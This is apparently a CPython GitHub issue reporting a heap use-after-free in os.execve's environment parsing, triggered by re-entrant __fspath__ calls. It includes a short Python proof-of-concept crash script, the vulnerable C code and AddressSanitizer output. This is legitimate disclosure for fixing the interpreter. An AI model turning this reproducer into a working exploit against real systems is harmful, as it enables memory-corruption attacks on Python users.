Movatterモバイル変換


[0]ホーム

URL:


Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

Use-after-free inparse_envlist via re-entrantenv.keys() orenv.values() #143309

Closed
Assignees
picnixz
Labels
extension-modulesC modules in the Modules dirtype-crashA hard crash of the interpreter, possibly with a core dump
@jackfromeast

Description

@jackfromeast

What happened?

Inparse_envlist the borrowed entries fromPyMapping_Keys andPyMapping_Values are processed byPyUnicode_FSConverter, which triggers user__fspath__ onPathEntry objects. The craftedAliasEnv drops each entry during conversion so the loop keeps a dangling pointer, and the subsequentPyOS_FSPath access reuses freed memory leading to a use-after-free.

Proof of Concept:

importosvictim_list= []classExploitPath:def__fspath__(self):victim_list.clear()returnb"pwn"classEvilEnv:def__len__(self):return1defkeys(self):returnvictim_listdefvalues(self):returnvictim_listdef__getitem__(self,key):return1victim_list.append(ExploitPath())try:os.execve("/bin/sh", ["sh"],EvilEnv())exceptOSError:pass

Affected Versions

Details
Python VersionStatusExit Code
Python 3.9.24+ (heads/3.9:111bbc15b26, Oct 28 2025, 16:51:20)ASAN1
Python 3.10.19+ (heads/3.10:014261980b1, Oct 28 2025, 16:52:08) [Clang 18.1.3 (1ubuntu1)]ASAN1
Python 3.11.14+ (heads/3.11:88f3f5b5f11, Oct 28 2025, 16:53:08) [Clang 18.1.3 (1ubuntu1)]ASAN1
Python 3.12.12+ (heads/3.12:8cb2092bd8c, Oct 28 2025, 16:54:14) [Clang 18.1.3 (1ubuntu1)]ASAN1
Python 3.13.9+ (heads/3.13:9c8eade20c6, Oct 28 2025, 16:55:18) [Clang 18.1.3 (1ubuntu1)]ASAN1
Python 3.14.0+ (heads/3.14:2e216728038, Oct 28 2025, 16:56:16) [Clang 18.1.3 (1ubuntu1)]ASAN1
Python 3.15.0a1+ (heads/main:f5394c257ce, Oct 28 2025, 19:29:54) [GCC 13.3.0]ASAN1

Vulnerable Code

Details
/* Buggy Re-entrant Path */staticPyObject*os_execve_impl(PyObject*module,path_t*path,PyObject*argv,PyObject*env)/*[clinic end generated code: output=ff9fa8e4da8bde58 input=626804fa092606d9]*/{/* ... */envlist=parse_envlist(env,&envc);if (envlist==NULL)        gotofail_0;/* ... */returnNULL;}staticEXECV_CHAR**parse_envlist(PyObject*env,Py_ssize_t*envc_ptr){Py_ssize_ti,pos,envc;PyObject*keys=NULL,*vals=NULL;PyObject*key2,*val2,*keyval;EXECV_CHAR**envlist;i=PyMapping_Size(env);if (i<0)returnNULL;envlist=PyMem_NEW(EXECV_CHAR*,i+1);if (envlist==NULL) {PyErr_NoMemory();returnNULL;    }envc=0;keys=PyMapping_Keys(env);if (!keys)        gotoerror;vals=PyMapping_Values(env);if (!vals)        gotoerror;if (!PyList_Check(keys)|| !PyList_Check(vals)) {PyErr_Format(PyExc_TypeError,"env.keys() or env.values() is not a list");        gotoerror;    }for (pos=0;pos<i;pos++) {PyObject*key=PyList_GetItem(keys,pos);/* crashing pointer derived */if (key==NULL) {            gotoerror;        }PyObject*val=PyList_GetItem(vals,pos);if (val==NULL) {            gotoerror;        }#if defined(HAVE_WEXECV)|| defined(HAVE_WSPAWNV)if (!PyUnicode_FSDecoder(key,&key2))            gotoerror;if (!PyUnicode_FSDecoder(val,&val2)) {Py_DECREF(key2);            gotoerror;        }/* Search from index 1 because on Windows starting '=' is allowed for           defining hidden environment variables. */if (PyUnicode_GET_LENGTH(key2)==0||PyUnicode_FindChar(key2,'=',1,PyUnicode_GET_LENGTH(key2),1)!=-1)        {PyErr_SetString(PyExc_ValueError,"illegal environment variable name");Py_DECREF(key2);Py_DECREF(val2);            gotoerror;        }keyval=PyUnicode_FromFormat("%U=%U",key2,val2);#elseif (!PyUnicode_FSConverter(key,&key2))/* Reentrant call site */            gotoerror;if (!PyUnicode_FSConverter(val,&val2)) {Py_DECREF(key2);            gotoerror;        }if (PyBytes_GET_SIZE(key2)==0||strchr(PyBytes_AS_STRING(key2)+1,'=')!=NULL)        {PyErr_SetString(PyExc_ValueError,"illegal environment variable name");Py_DECREF(key2);Py_DECREF(val2);            gotoerror;        }keyval=PyBytes_FromFormat("%s=%s",PyBytes_AS_STRING(key2),PyBytes_AS_STRING(val2));#endifPy_DECREF(key2);Py_DECREF(val2);if (!keyval)            gotoerror;if (!fsconvert_strdup(keyval,&envlist[envc++])) {Py_DECREF(keyval);            gotoerror;        }Py_DECREF(keyval);    }Py_DECREF(vals);Py_DECREF(keys);envlist[envc]=0;*envc_ptr=envc;returnenvlist;error:Py_XDECREF(keys);Py_XDECREF(vals);free_string_array(envlist,envc);returnNULL;}PyObject*PyOS_FSPath(PyObject*path){if (PyUnicode_Check(path)||PyBytes_Check(path)) {/* Crash site */returnPy_NewRef(path);    }/* ... */returnpath_repr;}/* Clobbering Path */staticvoidlist_clear_impl(PyListObject*a,boolis_resize){PyObject**items=a->ob_item;/* Because XDECREF can recursively invoke operations on this list,       we make it empty first. */Py_ssize_ti=Py_SIZE(a);Py_SET_SIZE(a,0);FT_ATOMIC_STORE_PTR_RELEASE(a->ob_item,NULL);/* state mutate site *//* ... */}

Sanitizer Output

Details
===================================================================1945479==ERROR: AddressSanitizer: heap-use-after-free on address 0x513000026178 at pc 0x56350df671ad bp 0x7fff44ef1d50 sp 0x7fff44ef1d40READ of size 8 at 0x513000026178 thread T0    #0 0x56350df671ac in _Py_TYPE Include/object.h:277    #1 0x56350df671ac in PyOS_FSPath Modules/posixmodule.c:16657    #2 0x56350dc9c7c0 in PyUnicode_FSConverter Objects/unicodeobject.c:4096    #3 0x56350df50e11 in parse_envlist Modules/posixmodule.c:6931    #4 0x56350df5146f in os_execve_impl Modules/posixmodule.c:7134    #5 0x56350df51b6f in os_execve Modules/clinic/posixmodule.c.h:3764    #6 0x56350dbbc123 in cfunction_vectorcall_FASTCALL_KEYWORDS Objects/methodobject.c:465    #7 0x56350db09e7f in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169    #8 0x56350db09f72 in PyObject_Vectorcall Objects/call.c:327    #9 0x56350dd88056 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620    #10 0x56350ddcbe54 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121    #11 0x56350ddcc148 in _PyEval_Vector Python/ceval.c:2001    #12 0x56350ddcc3f8 in PyEval_EvalCode Python/ceval.c:884    #13 0x56350dec3507 in run_eval_code_obj Python/pythonrun.c:1365    #14 0x56350dec3723 in run_mod Python/pythonrun.c:1459    #15 0x56350dec457a in pyrun_file Python/pythonrun.c:1293    #16 0x56350dec7220 in _PyRun_SimpleFileObject Python/pythonrun.c:521    #17 0x56350dec74f6 in _PyRun_AnyFileObject Python/pythonrun.c:81    #18 0x56350df1874d in pymain_run_file_obj Modules/main.c:410    #19 0x56350df189b4 in pymain_run_file Modules/main.c:429    #20 0x56350df1a1b2 in pymain_run_python Modules/main.c:691    #21 0x56350df1a842 in Py_RunMain Modules/main.c:772    #22 0x56350df1aa2e in pymain_main Modules/main.c:802    #23 0x56350df1adb3 in Py_BytesMain Modules/main.c:826    #24 0x56350d99e645 in main Programs/python.c:15    #25 0x715784c2a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58    #26 0x715784c2a28a in __libc_start_main_impl ../csu/libc-start.c:360    #27 0x56350d99e574 in _start (/home/jackfromeast/Desktop/entropy/targets/grammar-afl++-latest/targets/cpython/python+0x2dd574) (BuildId: 202d5dbb945f6d5f5a66ad50e2688d56affd6ecb)0x513000026178 is located 56 bytes inside of 352-byte region [0x513000026140,0x5130000262a0)freed by thread T0 here:    #0 0x7157850fc4d8 in free ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:52    #1 0x56350dbd096d in _PyMem_RawFree Objects/obmalloc.c:91    #2 0x56350dbd2cd9 in _PyMem_DebugRawFree Objects/obmalloc.c:2955    #3 0x56350dbd2d1a in _PyMem_DebugFree Objects/obmalloc.c:3100    #4 0x56350dbfb06c in PyObject_Free Objects/obmalloc.c:1522    #5 0x56350de39cf7 in PyObject_GC_Del Python/gc.c:2435    #6 0x56350dc151cb in object_dealloc Objects/typeobject.c:7177    #7 0x56350dc33663 in subtype_dealloc Objects/typeobject.c:2852    #8 0x56350dbc7481 in _Py_Dealloc Objects/object.c:3200    #9 0x56350db10b24 in Py_DECREF Include/refcount.h:401    #10 0x56350db10c7f in Py_XDECREF Include/refcount.h:511    #11 0x56350db11164 in method_dealloc Objects/classobject.c:251    #12 0x56350dbc7481 in _Py_Dealloc Objects/object.c:3200    #13 0x56350df32f6e in Py_DECREF Include/refcount.h:401    #14 0x56350df671fb in PyOS_FSPath Modules/posixmodule.c:16670    #15 0x56350dc9c7c0 in PyUnicode_FSConverter Objects/unicodeobject.c:4096    #16 0x56350df50dfd in parse_envlist Modules/posixmodule.c:6929    #17 0x56350df5146f in os_execve_impl Modules/posixmodule.c:7134    #18 0x56350df51b6f in os_execve Modules/clinic/posixmodule.c.h:3764    #19 0x56350dbbc123 in cfunction_vectorcall_FASTCALL_KEYWORDS Objects/methodobject.c:465    #20 0x56350db09e7f in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169    #21 0x56350db09f72 in PyObject_Vectorcall Objects/call.c:327    #22 0x56350dd88056 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620    #23 0x56350ddcbe54 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121    #24 0x56350ddcc148 in _PyEval_Vector Python/ceval.c:2001    #25 0x56350ddcc3f8 in PyEval_EvalCode Python/ceval.c:884    #26 0x56350dec3507 in run_eval_code_obj Python/pythonrun.c:1365    #27 0x56350dec3723 in run_mod Python/pythonrun.c:1459    #28 0x56350dec457a in pyrun_file Python/pythonrun.c:1293    #29 0x56350dec7220 in _PyRun_SimpleFileObject Python/pythonrun.c:521previously allocated by thread T0 here:    #0 0x7157850fd9c7 in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69    #1 0x56350dbd1284 in _PyMem_RawMalloc Objects/obmalloc.c:63    #2 0x56350dbd0655 in _PyMem_DebugRawAlloc Objects/obmalloc.c:2887    #3 0x56350dbd06bd in _PyMem_DebugRawMalloc Objects/obmalloc.c:2920    #4 0x56350dbd1f3b in _PyMem_DebugMalloc Objects/obmalloc.c:3085    #5 0x56350dbfaf28 in PyObject_Malloc Objects/obmalloc.c:1493    #6 0x56350dc2d03b in _PyObject_MallocWithType Include/internal/pycore_object_alloc.h:46    #7 0x56350dc2d03b in _PyType_AllocNoTrack Objects/typeobject.c:2504    #8 0x56350dc2d1c7 in PyType_GenericAlloc Objects/typeobject.c:2535    #9 0x56350dc2510e in object_new Objects/typeobject.c:7167    #10 0x56350dc30346 in type_call Objects/typeobject.c:2448    #11 0x56350db09c71 in _PyObject_MakeTpCall Objects/call.c:242    #12 0x56350db09f19 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:167    #13 0x56350db09f72 in PyObject_Vectorcall Objects/call.c:327    #14 0x56350dd88056 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620    #15 0x56350ddcbe54 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121    #16 0x56350ddcc148 in _PyEval_Vector Python/ceval.c:2001    #17 0x56350ddcc3f8 in PyEval_EvalCode Python/ceval.c:884    #18 0x56350dec3507 in run_eval_code_obj Python/pythonrun.c:1365    #19 0x56350dec3723 in run_mod Python/pythonrun.c:1459    #20 0x56350dec457a in pyrun_file Python/pythonrun.c:1293    #21 0x56350dec7220 in _PyRun_SimpleFileObject Python/pythonrun.c:521    #22 0x56350dec74f6 in _PyRun_AnyFileObject Python/pythonrun.c:81    #23 0x56350df1874d in pymain_run_file_obj Modules/main.c:410    #24 0x56350df189b4 in pymain_run_file Modules/main.c:429    #25 0x56350df1a1b2 in pymain_run_python Modules/main.c:691    #26 0x56350df1a842 in Py_RunMain Modules/main.c:772    #27 0x56350df1aa2e in pymain_main Modules/main.c:802    #28 0x56350df1adb3 in Py_BytesMain Modules/main.c:826    #29 0x56350d99e645 in main Programs/python.c:15    #30 0x715784c2a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58SUMMARY: AddressSanitizer: heap-use-after-free Include/object.h:277 in _Py_TYPEShadow bytes around the buggy address:  0x513000025e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  0x513000025f00: 00 00 00 00 00 00 fa fa fa fa fa fa fa fa fa fa  0x513000025f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  0x513000026000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  0x513000026080: 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa=>0x513000026100: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd[fd]  0x513000026180: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd  0x513000026200: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd  0x513000026280: fd fd fd fd fa fa fa fa fa fa fa fa fa fa fa fa  0x513000026300: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  0x513000026380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00Shadow byte legend (one shadow byte represents 8 application bytes):  Addressable:           00  Partially addressable: 01 02 03 04 05 06 07   Heap left redzone:       fa  Freed heap region:       fd  Stack left redzone:      f1  Stack mid redzone:       f2  Stack right redzone:     f3  Stack after return:      f5  Stack use after scope:   f8  Global redzone:          f9  Global init order:       f6  Poisoned by user:        f7  Container overflow:      fc  Array cookie:            ac  Intra object redzone:    bb  ASan internal:           fe  Left alloca redzone:     ca  Right alloca redzone:    cb==1945479==ABORTING

Linked PRs

Metadata

Metadata

Assignees

Labels

extension-modulesC modules in the Modules dirtype-crashA hard crash of the interpreter, possibly with a core dump

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions


    [8]ページ先頭

    ©2009-2026 Movatter.jp